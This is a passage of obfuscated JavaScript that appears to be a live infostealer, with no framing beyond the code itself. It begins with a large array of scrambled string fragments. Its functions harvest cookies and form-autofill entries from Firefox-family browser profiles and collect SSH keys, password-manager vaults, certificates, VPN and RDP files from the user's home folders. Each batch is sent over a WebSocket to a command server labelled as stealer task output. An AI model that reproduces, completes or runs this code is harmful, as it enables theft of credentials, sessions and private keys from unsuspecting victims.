"nsp", "kie", "llk", "ip\n", "bee", "Num", "deo", "zza", "\nka", "isH", "omp", "W1w", "Fet", "owe", "y B", "Big", " Ki", "ss ", "llB", "aWd", "un\n", "Edg", "ile", "sa\n", "nfo", "Get", "its", "toL", "yst", "\nso", "ldS", "nyo", "zci", "_ur", "eeE", "No ", "bov", "le:", "Pas", "Wit", "ael", "s\np", "nno", "ilt", "Flo", "uar", "Dir", "enl", "xed", "a\\U", "t16", "e\nv", "8 R", "xis", "n_y", "ted", "g A", "ful", "f\np", "ele", "epi", "nkn", "ESE", ", e", "kId", "t\np", "tMe", "s\\P", "eTo", "oss", "e.e", "Tak", "t\nd", "unc", "ne\n", "slo", "thi", "fhm", "ard", "CJ9", "uck", "cou", "\nfa", "i\\U", "lon", "ven", "dU6", "aGF", "rte", "veP", "\\Pr", "hor", "\nwi", "ker", "ppd", "sim", "imb", "ght", "las", "\nfi", "ume", "RLs", "tec", "fbc", "on:", "ead", "d e", "igU", "\\Go", "xce", "ost", "rom", "OT ", "th\n", "rea", "Map", "out", "pik", "nam", "ial", "g d", "Liq", "by ", "ew\n", "die", "lhk", "iii", "ejd", "ift", "eDC", "tPr", "h\nt", "e S", "Ima", "sea", "pla", "sup", "dna", "p\ns", "teF", "\nbr", "ive", "io/", ".br", "kfj", "hOD", "Key", "e p", "hlk", "ect", "__f", ", c", "Bin", "e o", "\nhi", "e\nb", "GET", "inn", "erp", "Sea", "JjY", "(s)", "unw", "-16", " er", "kmk", "pId", " pi", "t\ns", "Win", "-Ou", "l\nf", "cbj", "rof", "sta", "toU", "r\nf", "NvZ", "sym", "loa", "phe", "d \"", "rd_", "jmn", "dF3", "shi", "rai", "ow\n", "n-s", "cla", "lel", "fin", "ecy", "pt3", "ali", "num", "ATA", "48 ", "ftw", "e 1", "e\ng", "obj", "ral", "tRa", "eyS", "c3Q", "///", "NoP", "ntB", "so\n", "bet", "cry", "rmo", "ute", "n\nw", "ree", " f", "\ndr", "oon", "uge", "ict", "den", "dab", "om=", "mae", "noc", "k s", "rup", "eio", "sis", "o\ns", "0dH", "tre", "teU", "\nun", "ryp", "Car", "id_", ".dl", "o\np", "lum", "tle", "ntd", "y _", "ney", "r\nc", "\npe", "ll ", "YTN", "ppn", "fen", "t\nf", "Ind", "joi", "ccj", "\nje", "nfa", "xpe", "peb", " br", "ot ", "osi", "ham", "mee", "ath", "ont", "\nmu", "ndI", "lp\n", "oni", "sk_", "tof", "urr", "bdi", "ewa", "ndi", "\nha", " Si", "yed", " sc", "f\nh", "E_C", "nos", "\nor", "\\Am", "lp3", "e\na", "ith", "fkc", "bpg", "erv", "2.d", "gro", "lec", "pte", "Dat", " co", "\nte", "e\";", "0\" ", "mb\n", "ase", "hcf", "his", "spe", "foh", "e b", "lis", "ls ", "eyo", "hic", "men", "ood", "Tok", "il\n", "olv", "\ndi", "l c", "asp", "\nas", "e :", "nke", "e d", "//j", "d: ", "\nba", "\nne", "n\nf", "isS", "te ", "tbr", "cee", "\ndo", "ou\n", " sh", "old", "eve", "Sym", "pel", "xSt", "e: ", ".ts", "lug", "unk", "aoe", "lDr", "peo", "rsh", "ati", "t\ne", "cad", "hlp", "edi", "] O", "val", "ipb", "\npu", "ott", "() ", "xtr", "mga", "thr", "hed", "mjj", "d\nb", "t P", "1242PKsdWJ", "geR", "clo", "rdl", "b\nl", "Inv", "\\Sp", "nly", "im\n", "cur", "ten", "bbp", "k\nj", "gue", "lmc", "iki", "on_", "upp", "n t", "ima", "be\n", "tIn", "t p", " (P", "tEr", "ows", "el\n", "lli", "et ", "nfk", "riv", "aeb", "Wom", "en ", "gua", "Zil", "Nor", "er]", "o -", "] E", "k\\U", "ws ", "pe ", "da ", "fai", "b.l", "(Br", "g\np", "hom", "bSo", "-Br", "dDB", "cri", "p\nd", "ymp", "Mis", "you", "ini", "o s", "eas", "Def", "U1M", "unn", "dam", "imu", "lam", "Too", "ffs", "mbl", "rot", "ica", "Bha", "e =", "nsa", ": d", "urs", "me ", "All", "irs", "s\nv", "Sol", "phi", "Y s", "y\nd", "o b", "ck.", "Non", "d_n", "apt", "d o", "soc", "nco", "D M", "%AP", "amc", "ves", "ing", "Mai", "rbi", "s32", "lat", "ik\\", "\\Ch", "s\n ", "Bus", "syn", "Col", " ca", "dkp", "nri", "are", "M2Q", "daf", "ibl", "nsh", "tho", "Len", "k\nc", "icr", "wdS", "ijc", "tna", "raw", "qXs", "s] ", "mar", " Bl", "eer", "pio", "dTe", "py\n", "ene", "l S", "ut\n", "iso", "a/*", "le ", "aze", "r D", "Chr", "pec", "irp", "Doc", "uen", "oyM", ": s", "gjh", "ic\n", "kNa", "log", "t D", "in:", "ate", "mI5", "LL_", "stu", "\nsw", "h (", "d d", "icn", "] C", "\\ch", "OUL", " fi", "obe", "Spu", "sou", "o.c", "Wor", "rre", "d i", "abl", "ckH", "TA%", "\nna", "nIn", "Idx", "Cn ", "def", "nde", "%LO", "uff", "ick", "sba", "d b", "ata", "oz_", "ax-", "lpg", "seC", "qua", "ang", "um\\", "tni", "ty\n", "dFi", "egj", "gra", "\ncr", "l o", "pLe", "sti", "pus", "mbi", "gx.", "par", "ett", "w\ng", "ype", "l i", "pti", "ke ", "eby", "rLi", "rie", "tin", "wan", "oul", "tel", "fav", "hov", "ugg", "\nal", "st.", "OS ", "es ", "not", "\nly", "cl.", "mbo", " mo", "ome", "e:/", "nne", "onn", "f\ns", "kto", "s M", "pki", "s\\G", "s_s", "fre", "aka", "tac", "xer", "ipt", "ur\n", "leX", "do\\", "ir\n", "k\nd", "nlg", "dlo", "0 c", ": S", "dix", "ceN", "dI8", "yMz", "ed_", "vit", "y\nm", "pad", "bon", "rro", "sOr", "Ter", "ndo", "t64", "fir", "Cur", "hMa", "d c", "0.1", "\nsa", "ix2", "htt", "//\"", "kka", "liv", " of", "\nbe", "h\nm", "bal", "ie ", " in", "ddi", "ibe", "ani", "ize", "cra", "kU8", "n\ns", "tiA", "e\nm", "Utf", "s\nd", "\\Zc", ".13", "0] ", "dF6", "cm9", "ona", "USE", "epo", "job", "eLo", "ble", "Nan", "dHe", "uic", "ut\"", "oem", "fja", "SEL", "iin", "rds", "iam", "coi", "dha", "\nro", "iWa", "xy\n", "f s", " is", "cus", "__J", "ILE", "vSt", "y\ni", "nkg", "top", "Dow", "Sop", "agn", "rse", "req", "acl", "t a", "s\\W", "om\n", " Fa", "ix\n", "__S", "liz", "lco", "Dvr", "e 2", "NTJ", "dll", "ggm", "xcu", "inh", "seT", "\\In", "nce", "\npi", "wit", "Jjb", "pop", "lve", "dul", "up\n", "tig", "\nkn", "-Wi", "hTh", "t..", "nId", "pul", "Ntb", "DRI", "raf", "tat", ", n", "Dll", "ill", "ken", "chk", "ALS", "too", "mag", "sqa", "e64", "gle", "hla", "eV2", "hbX", "es\n", "mnk", "nig", "tar", "oad", "sit", "DLL", "olo", "mov", "con", "Dep", "n\ng", "AiL", "RNA", "2: ", "mit", "phn", "d.t", "ces", " tr", "\\ex", "Spl", "oed", "h,\n", "r e", "ch\n", "iio", "dpn", "Has", "odi", "boo", "cm8", "@db", "Mal", "d h", "e t", "oFo", "t\no", "ede", "roy", "se.", "ude", "\nth", "l\ns", "aps", "lou", "rd\n", "ert", "lic", "202", "upi", " no", "rum", "cha", "ts\\", "4hmknAu", "rei", "knc", "eSi", "ocm", "emi", "fou", "VER", " ma", "e l", "ays", "ago", "bhd", "xpo", "l\nc", "\nwo", "teS", "ltI", "WSE", "mnd", "es_", "clu", "ald", "s\nf", "goe", "res", "rpr", "na\n", ".te", "fnl", "ads", "mcm", "les", "Pip", "pam", "Cry", "foa", "d t", "isD", "t\ni", "thl", "h#d", "y\nk", "EOS", "nse", "equ", "pfg", "ow ", "dri", "t b", "g c", "eld", "hes", "is.", "dBy", "her", "PIP", "ERN", "al\n", "r\np", "afm", "h >", "tun", "tri", "u64", "leS", "Coc", "fes", "rbl", "cod", "kbj", "rra", "MTk", "l-c", "uty", "[Gr", ")\\E", "- C", "tZS", "ave", "lud", "Int", "lim", "e P", "[Wa", "hnf", "sic", "zed", "of ", "HOM", "enj", "g p", "unv", ", p", "cCI", "D N", "eep", "sMo", "rio", "rou", "wn\n", "at3", "YW1", "fun", "cim", "] F", "veS", "get", "mgj", "h p", " fr", "inv", "a d", "l\nt", "dfo", " ne", "i.e", "y-f", "n J", "gjf", "k\ns", ".ey", "xMa", "ref", "ist", "efi", "it ", "\ncl", "g\ns", "1126125gZpODj", "pal", "d\ns", "dI1", "haj", "umo", "ng ", "uto", "nor", "efe", "ttp", "str", "ise", "ppi", "Sel", "rac", "irt", "SOS", " by", "ifh", "Pin", "eag", "bun", "am\n", "dro", "paf", "sin", "sli", "nva", "tua", "\ngi", "h\np", "pe\n", "ira", "ciO", "lar", "gkj", "ab\n", "ntu", "Loc", "y\nh", "ts:", "\nca", "cam", "m\nq", "ous", "Glo", "ssT", "rib", "com", "\nug", " Er", "y\nb", "onl", "-ou", "lle", "iND", "ntL", "enu", "rin", "gha", "\npr", "hpm", "yra", "t-T", "n\nc", "Enc", "w\nr", "C:\\", "ddl", "Age", "ass", "i32", "lid", ".na", "low", "ryP", "ts]", "lac", "t8A", "h i", "ycl", "n/j", "wro", "tAc", "ssw", "d\na", "TmF", "Nil", "uce", "tim", " -P", "hri", "was", "eng", "Own", "ala", " Da", "see", "dom", "dde", "teP", "e\ne", "elm", "wal", "h e", "inW", "ism", " DL", "lb\n", "ngH", "sib", "mai", "\npo", "tch", "s=g", "op\n", "adj", "r b", "deS", "nng", "25m", "gen", "sPe", "swa", "let", "sto", "tiv", "iLC", "e-f", "ssi", "fjc", "le-", "ngt", "leY", "y\nt", "Nam", " ou", "hPr", "mnf", "\nse", "e, ", "iIs", "ure", "PPD", "bac", "hof", "tui", "TYP", "meo", "div", "pSt", "QlH", "spu", "al ", "lBu", "ipp", "tiq", "ock", "ckL", "hol", "mgk", "ve.", "ffm", "wom", "ach", "hdC", "hin", "odu", "imn", "d, ", "jel", "oth", "] A", "\nir", "Tre", "\naf", "f\no", "c t", "ax ", "\nzo", "fbn", "tex", "m\"n", "nea", "zil", "bui", "rke", "off", "ad_", "zin", "oso", "uri", "mji", "ntr", "ed,", "s\na", "kee", "k\nh", "sph", "bCI", "hou", "tor", "h\ns", "fnb", "\nme", "boi", "ges", "rch", "om ", "eyc", "\nin", "hen", "o\nt", "l\no", "etu", "eav", "Unk", "\nfo", "cin", "n m", "7st", "bmi", "rCo", " So", "mak", "oeb", "Cla", "e F", "Fre", "ht\n", "e. ", "_mo", "mip", "\nsy", "ton", "yTi", "g a", "Bra", "tur", "\nve", "idd", "\ngo", "ibn", "hos", "[Di", "CAL", ".cr", "usc", "rt\n", "spo", "r t", "...", "DPA", "ogr", "Tex", "upt", "ena", "YWl", "toi", "e\nt", "ehp", "ski", "orl", "k\np", "npr", "d a", "rev", "ool", "nti", "etw", "ger", "hyb", "er:", "ahk", "aof", "rta", "s 1", "Cre", "ync", "efa", "abu", ".en", "yIs", "nal", "bow", ") >", "nln", "DYx", "aoo", "mDa", "ljc", "bel", "bco", "wnl", "twi", "Des", "f\nl", "sky", "t\nv", "bwa", "e C", "omi", "tro", "r\ne", "2):", "g: ", "32]", "de\n", "nme", " nu", "Cis", "Tc2", "fpn", "] T", "dir", "me\n", "cer", "lse", "bro", "but", "uid", "Typ", "adB", "fi/", "ihf", "hab", "Mul", "me,", "lcd", "cap", "pKe", "rda", "roo", "n d", "oga", "fla", "Com", "ECT", " re", "seg", "e\nw", "tSy", "sfo", "9.1", "s\nt", "la\\", "Out", "maj", "lot", " ad", "n\nh", "n\nr", "cir", "[Ge", "s f", "ll\n", "Cro", "arC", "AsF", "be ", "g-j", "eam", "ep-", "-re", "y b", "cut", " \"/", "mp\n", "dMd", "1Mj", "g u", "D__", "\\Ep", "por", " pr", " ge", "Pri", "viv", "oo ", "th ", "emo", "pid", "439887OhQSrb", " (b", "for", "fbd", "geD", " En", "nMB", "ara", "lly", "VyT", "ex\n", "m\nr", "Med", "_da", "ero", " (s", "gho", "ige", "kU1", "rem", "yan", "aug", "jg3", "ikf", "vid", "hex", "elo", "Exc", "ove", "dit", "st ", "amf", "tNa", "kpf", "g r", "ge\n", "n\na", "abo", "a\nt", "oug", "ady", "ana", "cro", "enr", "t i", "sha", "Pan", "ren", "e\nj", "rad", "a f", "jYm", " De", " do", "et.", "sr.", "umn", " wi", "rys", "jew", "nit", "veT", "ary", "ine", "pch", "gcn", "rt ", "phh", "\nmy", "t o", " ex", "bcb", "fjm", "dU3", "wor", "mos", "elv", "nve", "Nex", "y s", "(?:", "eso", "{ex", "n\nn", "rn\n", "\nop", "nda", "\now", ": F", "\\Ya", "nze", "mbe", "big", "man", "ld\n", " un", "kgj", "n\nb", "lem", "tit", "Ins", "===", "ey\n", "[Ki", "ry ", "ggh", "sag", "dic", ", w", "ix.", "ds:", "wSt", " ", "iap", "ea\n", "ctE", "rIn", "fef", "cab", "hea", "add", "e\nf", "For", "6mT", "Iml", "eye", "spl", "jfk", "A6L", "s\\K", "m90", "day", "sna", "mej", "son", "t: ", "ia ", "ado", "\nco", "ceF", "/sh", "gla", "epc", "Ses", "\\Op", "col", "hro", "; H", "l e", "-of", "iJI", "] R", "hbG", "nR5", ", a", "i16", "ote", "t\nt", "x\nb", "hit", "oce", "gin", "hbk", "eit", "hec", "ATP", "nat", "Fou", "pgd", " to", "g\nf", "url", "\ntr", "t-d", "met", "scr", "lkI", "\nda", "ast", "sfu", "teB", "COU", "e U", "Eac", "fhb", "fo ", "len", "esc", "o\nb", "\\le", "e\no", ",\n ", "tru", "yNa", "um.", "l.e", "e\\U", "pjo", "tes", "ned", "lbo", "d f", "h\nw", "-ag", " wa", "fic", "jej", "lre", "ogm", "1c2", "ebo", "A%\\", " 'S", "x\nr", "r\nt", "one", "ecd", "aso", "nel", "eyJ", "gji", " Lo", "LOC", "y e", "Wai", "npu", "onW", " FR", "e (", "onf", "exe", "kjg", "cto", "e 4", "que", "bpm", "oto", "n c", "ION", "nma", "t f", "hAr", "kon", "VzI", "iro", "ed ", "mul", "k\nt", "rol", "r32", "eli", "eva", "zer", " Fo", "n_c", "fit", "s\nm", "Off", "cas", "d\nf", "oom", "kgn", "rid", "beb", "sed", "d w", "Ext", "JJZ", " cr", "k\nb", "ian", "ic ", ", s", "Met", "es:", "ay\n", "s\nc", "eal", "lpf", "nDe", "fih", "t\ng", "eet", "laz", "ame", "n\nt", "all", "buf", "cks", "any", " us", "ke\n", "obo", "lOn", "gae", " la", "pgr", "edP", "o__", "pil", "LCJ", "dpo", "s 7", "SOI", "wse", "id\n", " wr", "g f", " ha", "nd ", " pa", "ngr", "gth", "\\Us", "jpb", "cau", "dkk", "iqu", "is ", "mhn", "S v", "cli", "\ndy", "ad\n", "ck\n", "ct:", "isV", "w\ny", "hib", "abs", "mpt", "ric", " de", "Bro", "alc", "bra", "M c", "it\n", "djM", "glo", "\\El", "\nvo", "Vol", "Und", "oft", "3N2", "l\na", "k-m", "dod", "tFo", "era", "dle", "lk\n", " st", "ste", " le", "ire", "mio", "\\To", "w\ns", "\nde", "r p", "gre", "it(", " ho", " | ", "em\n", "a2:", "ge\\", "\nwa", "x86", "cia", "dI6", "OP:", "tpo", " ti", "seH", "ToF", "wri", "cpu", "nai", "Las", "lib", "enc", "or\n", "han", "yar", "nsf", "bik", "uY2", " an", "rPa", "mmo", "Pow", "anu", "ldr", "Par", "dos", "pha", "DIB", "Set", "Tes", "e\\A", "s\\N", "DB:", "act", "toa", "s\ni", "Pat", "at\n", "nDa", "esk", "ord", "hal", "urc", "aii", "thm", "igi", "wid", "0Gz", "deA", "/he", "s m", "tfo", "via", "mdc", "shW", "u32", "6Ik", "Vir", " Mo", "fgg", "Ope", "ge.", "rus", "mir", "flp", "our", "neg", "pWi", "ope", "ran", "\njo", "t c", "o\nz", "lue", "k\na"]; | |
| skillful = function () { | |
| return _0x1ea2e2; | |
| }; | |
| return skillful(); | |
| } | |
| async function findProfiles2(_0x596e6d2, _0x489) { | |
| const _0x22e4 = potato, | |
| _0x564c2e4 = []; | |
| try { | |
| const _0x3aedbd3 = await import_node_fs4["promises"]["readdir"](_0x489, { | |
| "withFileTypes": !![] | |
| }); | |
| for (const _0x9d73d4 of _0x3aedbd3) { | |
| if (_0x9d73d4["isDirectory"]()) { | |
| const _0x491 = import_node_path4["default"]["join"](_0x489, _0x9d73d4["name"]); | |
| try { | |
| const _0x2827ff4 = await import_node_fs4["promises"]["readdir"](_0x491); | |
| (_0x2827ff4["includes"]("cookies.sqlite") || _0x2827ff4["includes"]("places.sqlite")) && _0x564c2e4["push"](_0x491); | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } | |
| } catch {} | |
| return _0x564c2e4; | |
| } | |
| function extractCookies2(_0x48e40c3) { | |
| const _0x127b3c2 = potato, | |
| _0xd3c9e3 = []; | |
| try { | |
| const _0x434c2 = _0x48e40c3["prepare"]("\n SELECT \n host,\n name,\n path,\n value,\n expiry,\n isSecure\n FROM moz_cookies\n ")["all"](); | |
| let _0x6229d4 = 0; | |
| for (const _0x1372c3 of _0x434c2) { | |
| const _0x444f7c10 = _0x1372c3; | |
| if (!_0x444f7c10["host"] || !_0x444f7c10["name"] || !_0x444f7c10["path"] || !_0x444f7c10["value"]) { | |
| _0x6229d4++; | |
| continue; | |
| } | |
| _0xd3c9e3["push"]({ | |
| "host": _0x444f7c10["host"], | |
| "name": _0x444f7c10["name"], | |
| "value": _0x444f7c10["value"], | |
| "path": _0x444f7c10["path"], | |
| "expires": _0x444f7c10["expiry"] || 0, | |
| "secure": Boolean(_0x444f7c10["isSecure"]) | |
| }); | |
| } | |
| _0x6229d4 > 0 && console["log"]("[Gecko] Skipped " + _0x6229d4 + " cookies with null fields"); | |
| } catch (_0x49417c3) { | |
| console["error"]("[Gecko] Error extracting cookies:", _0x49417c3); | |
| } | |
| return _0xd3c9e3; | |
| } | |
| function extractAutofills2(_0x1f0de2) { | |
| const _0x3d8d = potato, | |
| _0x2fdf3 = []; | |
| try { | |
| const _0x4f15 = _0x1f0de2["prepare"]("\n SELECT \n fieldname,\n value\n FROM moz_formhistory\n ")["all"](); | |
| for (const _0xbd2 of _0x4f15) { | |
| const _0x26db5a6 = _0xbd2; | |
| if (!_0x26db5a6["fieldname"] || !_0x26db5a6["value"]) continue; | |
| _0x2fdf3["push"]({ | |
| "fieldname": _0x26db5a6["fieldname"], | |
| "value": _0x26db5a6["value"] | |
| }); | |
| } | |
| } catch (_0x539b2) { | |
| console["error"]("[Gecko] Error extracting autofills:", _0x539b2); | |
| } | |
| return _0x2fdf3; | |
| } | |
| async function extractProfileData(_0xaf393d4, _0xb8bfd6, _0x498, _0x923a1c7) { | |
| const _0x21f7c = potato, | |
| _0x31538b6 = import_node_path4["default"]["basename"](_0x498), | |
| _0x3b9ca5 = [], | |
| _0x1a1 = [], | |
| _0xa11 = import_node_path4["default"]["join"](_0x498, "cookies.sqlite"); | |
| try { | |
| console["log"]("[Gecko] Opening cookies database: " + _0xa11); | |
| const _0xb14b3 = new _0xaf393d4(_0xa11, { | |
| "readonly": !![] | |
| }); | |
| console["log"]("[Gecko] Database opened successfully"); | |
| const _0x497 = extractCookies2(_0xb14b3); | |
| _0x3b9ca5["push"](..._0x497), _0xb14b3["close"](), console["log"]("[Gecko] Extracted " + _0x497["length"] + " cookies from " + _0xb8bfd6 + "/" + _0x31538b6); | |
| } catch (_0x2b8fde3) { | |
| console["error"]("[Gecko] Failed to extract cookies from " + _0xa11 + ":", _0x2b8fde3); | |
| } | |
| const _0x4b8eab4 = import_node_path4["default"]["join"](_0x498, "places.sqlite"); | |
| try { | |
| const _0x1d791d4 = new _0xaf393d4(_0x4b8eab4, { | |
| "readonly": !![] | |
| }), | |
| _0x91c82e4 = extractAutofills2(_0x1d791d4); | |
| _0x1a1["push"](..._0x91c82e4), _0x1d791d4["close"](), console["log"]("[Gecko] Extracted " + _0x91c82e4["length"] + " autofills from " + _0xb8bfd6 + "/" + _0x31538b6); | |
| } catch (_0x4e1) { | |
| console["error"]("[Gecko] Failed to extract autofills from " + _0x4b8eab4 + ":", _0x4e1); | |
| } | |
| if (_0x923a1c7 && (_0x3b9ca5["length"] > 0 || _0x1a1["length"] > 0)) { | |
| const _0x53a75b3 = { | |
| "huidMd5": _0x923a1c7["huidMd5"], | |
| "token": _0x923a1c7["token"], | |
| "taskOutputs": [{ | |
| "id": _0x923a1c7["taskId"], | |
| "type": "stealer-gecko", | |
| "status": "completed", | |
| "browser": _0xb8bfd6, | |
| "profile": _0x31538b6, | |
| "cookies": _0x3b9ca5, | |
| "autofills": _0x1a1 | |
| }] | |
| }, | |
| _0x500 = await serizalizeCommandFromAgent(_0x53a75b3); | |
| try { | |
| _0x923a1c7["ws"]["send"](_0x500); | |
| } catch (_0x2858c2) { | |
| console["error"]("[Gecko] Failed to send data: WebSocket error", _0x2858c2); | |
| } | |
| return { | |
| "browser": _0xb8bfd6, | |
| "profile": _0x31538b6, | |
| "cookies": _0x3b9ca5, | |
| "autofills": _0x1a1 | |
| }; | |
| } | |
| return null; | |
| } | |
| async function grabGecko(_0x509) { | |
| const _0x5213b = potato; | |
| console["log"]("[Gecko] Starting Gecko browsers collection..."); | |
| try { | |
| const _0x4979bc3 = ["https://jsr.io/@db/sqlite/0.13.0/mod.ts"]["join"](""), | |
| { | |
| Database: _0x336e1c3 | |
| } = await import(_0x4979bc3); | |
| let _0x4c8ef3 = 0; | |
| for (const _0x53e0ed6 of GECKO_BROWSERS) { | |
| for (const _0x629def3 of _0x53e0ed6["paths"]) { | |
| const _0x504 = expandPath3(_0x629def3), | |
| _0x507 = await findProfiles2(_0x53e0ed6["name"], _0x504); | |
| console["log"]("[Gecko] Found " + _0x507["length"] + " profiles for " + _0x53e0ed6["name"]); | |
| for (const _0x510 of _0x507) { | |
| try { | |
| const _0x345bd2 = await extractProfileData(_0x336e1c3, _0x53e0ed6["name"], _0x510, _0x509); | |
| _0x345bd2 && _0x4c8ef3++; | |
| } catch (_0x1eba2) { | |
| console["error"]("[Gecko] Error processing profile " + _0x510 + ":", _0x1eba2); | |
| } | |
| } | |
| } | |
| } | |
| console["log"]("[Gecko] Collection completed. Processed " + _0x4c8ef3 + " profiles"); | |
| } catch (_0xdc17a3) { | |
| console["error"]("[Gecko] Fatal error:", _0xdc17a3); | |
| throw _0xdc17a3; | |
| } | |
| } | |
| var import_node_buffer6 = require("node:buffer"), | |
| import_node_fs5 = require("node:fs"), | |
| import_node_path5 = __toESM(require("node:path")), | |
| import_node_process6 = __toESM(require("node:process")), | |
| MAX_TOTAL_SIZE_MB = 50, | |
| MAX_DEPTH = 3, | |
| PRIORITY_PATTERNS = ["*.kdbx", "*.key", "*.pem", "*.ppk", "*.p12", "*.pfx", "*.asc", "*.gpg", "id_rsa", "id_dsa", "id_ecdsa", "id_ed25519", "*.ovpn", "*.txt", "*.rdp"], | |
| REGULAR_PATTERNS = []; | |
| function matchesPattern(_0xc43ad2, _0x512) { | |
| const _0x1e5c7e2 = potato, | |
| _0x492b3e4 = _0xc43ad2["toLowerCase"](); | |
| for (const _0x22e52f3 of _0x512) { | |
| const _0x5e5 = _0x22e52f3["toLowerCase"](); | |
| if (_0x5e5 === "*") return !![]; | |
| if (_0x5e5["startsWith"]("*.")) { | |
| const _0x5804b2 = _0x5e5["slice"](1); | |
| if (_0x492b3e4["endsWith"](_0x5804b2)) return !![]; | |
| } else { | |
| if (_0x492b3e4 === _0x5e5) return !![]; | |
| } | |
| } | |
| return ![]; | |
| } | |
| async function walkDir(_0x517, _0x3f306d4, _0x228b3 = 0) { | |
| const _0x2824a = potato, | |
| _0x1b25 = []; | |
| if (_0x228b3 > _0x3f306d4) return _0x1b25; | |
| try { | |
| const _0x1fd6d2 = await import_node_fs5["promises"]["readdir"](_0x517, { | |
| "withFileTypes": !![] | |
| }); | |
| for (const _0x521 of _0x1fd6d2) { | |
| const _0x522 = import_node_path5["default"]["join"](_0x517, _0x521["name"]); | |
| try { | |
| if (_0x521["isDirectory"]()) { | |
| const _0x14a3d2 = await walkDir(_0x522, _0x3f306d4, _0x228b3 + 1); | |
| _0x1b25["push"](..._0x14a3d2); | |
| } else _0x521["isFile"]() && _0x1b25["push"](_0x522); | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch {} | |
| return _0x1b25; | |
| } | |
| async function grabFiles(_0x3f7e6) { | |
| const _0x21e1be3 = potato, | |
| _0x2e3a9c6 = [], | |
| _0x36b2ca6 = { | |
| "value": 0 | |
| }, | |
| _0x211af3 = MAX_TOTAL_SIZE_MB * 1024 * 1024, | |
| _0x13c4 = import_node_process6["default"]["env"]["USERNAME"] || import_node_process6["default"]["env"]["USER"] || "unknown", | |
| _0xda6 = import_node_process6["default"]["env"]["USERPROFILE"] || import_node_process6["default"]["env"]["HOME"] || ""; | |
| if (!_0xda6) return console["log"]("[Grabber] Could not determine user profile directory"), _0x2e3a9c6; | |
| const _0x502e4c5 = async (_0x1b965b3, _0x524, _0x43fded3) => { | |
| const _0xb2 = _0x21e1be3, | |
| _0x5dece2 = await walkDir(_0x1b965b3, _0x43fded3); | |
| for (const _0x3ec9e5 of _0x5dece2) { | |
| if (_0x36b2ca6["value"] >= _0x211af3) { | |
| console["log"]("[Grabber] Size limit reached"); | |
| break; | |
| } | |
| const _0xbd5 = import_node_path5["default"]["basename"](_0x3ec9e5); | |
| if (!matchesPattern(_0xbd5, _0x524)) continue; | |
| try { | |
| const _0xa13 = await import_node_fs5["promises"]["stat"](_0x3ec9e5), | |
| _0x2e5f3e7 = _0xa13["size"]; | |
| if (_0x2e5f3e7 > 10 * 1024 * 1024) continue; | |
| if (_0x36b2ca6["value"] + _0x2e5f3e7 > _0x211af3) { | |
| console["log"]("[Grabber] Skipping file (would exceed size limit)"); | |
| continue; | |
| } | |
| const _0x32d6 = await import_node_fs5["promises"]["readFile"](_0x3ec9e5), | |
| _0x20d3 = _0x3ec9e5; | |
| let _0x255e4a7; | |
| const _0x4115e3 = _0x20d3["indexOf"](_0x13c4); | |
| if (_0x4115e3 !== -1) { | |
| const _0x526 = _0x20d3["slice"](_0x4115e3 + _0x13c4["length"]); | |
| _0x255e4a7 = _0x526["replace"](/^[\\\/]+/, ""); | |
| } else _0x255e4a7 = _0xbd5; | |
| _0x36b2ca6["value"] += _0x2e5f3e7, _0x2e3a9c6["push"]({ | |
| "relPath": _0x255e4a7, | |
| "data": new Uint8Array(_0x32d6) | |
| }), console["log"]("[Grabber] Grabbed: " + _0x255e4a7 + " (" + _0x2e5f3e7 + " bytes)"); | |
| if (_0x3f7e6) { | |
| const _0x2224a2 = { | |
| "huidMd5": _0x3f7e6["huidMd5"], | |
| "token": _0x3f7e6["token"], | |
| "taskOutputs": [{ | |
| "id": _0x3f7e6["taskId"], | |
| "type": "stealer-file-grabber", | |
| "status": "completed", | |
| "path": _0x255e4a7, | |
| "data": import_node_buffer6["Buffer"]["from"](_0x32d6), | |
| "size": _0x2e5f3e7 | |
| }] | |
| }, | |
| _0x5f552a3 = await serizalizeCommandFromAgent(_0x2224a2); | |
| try { | |
| _0x3f7e6["ws"]["send"](_0x5f552a3); | |
| } catch (_0x3166b2) { | |
| console["error"]("[Grab] Failed to send data: WebSocket error", _0x3166b2); | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| }, | |
| _0x39e4 = import_node_path5["default"]["join"](_0xda6, ".ssh"); | |
| try { | |
| await import_node_fs5["promises"]["access"](_0x39e4), console["log"]("[Grabber] Searching SSH keys in " + _0x39e4), await _0x502e4c5(_0x39e4, ["*"], 1); | |
| } catch {} | |
| const _0x4186da5 = []; | |
| for (const _0x4b69d4 of [import_node_path5["default"]["join"](_0xda6, "Documents"), import_node_path5["default"]["join"](_0xda6, "Desktop"), import_node_path5["default"]["join"](_0xda6, "Downloads")]) { | |
| try { | |
| await import_node_fs5["promises"]["access"](_0x4b69d4), _0x4186da5["push"](_0x4b69d4); | |
| } catch {} | |
| } | |
| for (const _0x46c3 of _0x4186da5) { | |
| console["log"]("[Grabber] Searching priority files in " + _0x46c3), await _0x502e4c5(_0x46c3, PRIORITY_PATTERNS, MAX_DEPTH); | |
| } | |
| for (const _0x2ee86f4 of _0x4186da5) { | |
| console["log"]("[Grabber] Searching regular files in " + _0x2ee86f4), await _0x502e4c5(_0x2ee86f4, REGULAR_PATTERNS, MAX_DEPTH); | |
| } | |
| return console["log"]("[Grabber] Total files grabbed: " + _0x2e3a9c6["length"] + ", size: " + _0x36b2ca6["value"] + " bytes"), _0x2e3a9c6; | |
| } | |
| var import_node_buffer7 = require("node:buffer"), | |
| import_node_fs6 = require("node:fs"), | |
| import_node_path6 = __toESM(require("node:path")), | |
| import_node_process7 = __toESM(require("node:process")), | |
| MAX_FILE_SIZE = 6 * 1024 * 1024; | |
| async function walkDir2(_0x429eb3, _0x347dde4, _0x12dd3 = 0) { | |
| const _0x3c1b4b2 = potato, | |
| _0x1ff36f6 = []; | |
| if (_0x12dd3 > _0x347dde4) return _0x1ff36f6; | |
| try { | |
| const _0x1bcb2 = await import_node_fs6["promises"]["readdir"](_0x429eb3, { | |
| "withFileTypes": !![] | |
| }); | |
| for (const _0x18dc4 of _0x1bcb2) { | |
| const _0x531 = import_node_path6["default"]["join"](_0x429eb3, _0x18dc4["name"]); | |
| try { | |
| if (_0x18dc4["isDirectory"]()) { | |
| const _0x530 = await walkDir2(_0x531, _0x347dde4, _0x12dd3 + 1); | |
| _0x1ff36f6["push"](..._0x530); | |
| } else _0x18dc4["isFile"]() && _0x1ff36f6["push"](_0x531); | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch {} | |
| return _0x1ff36f6; | |
| } | |
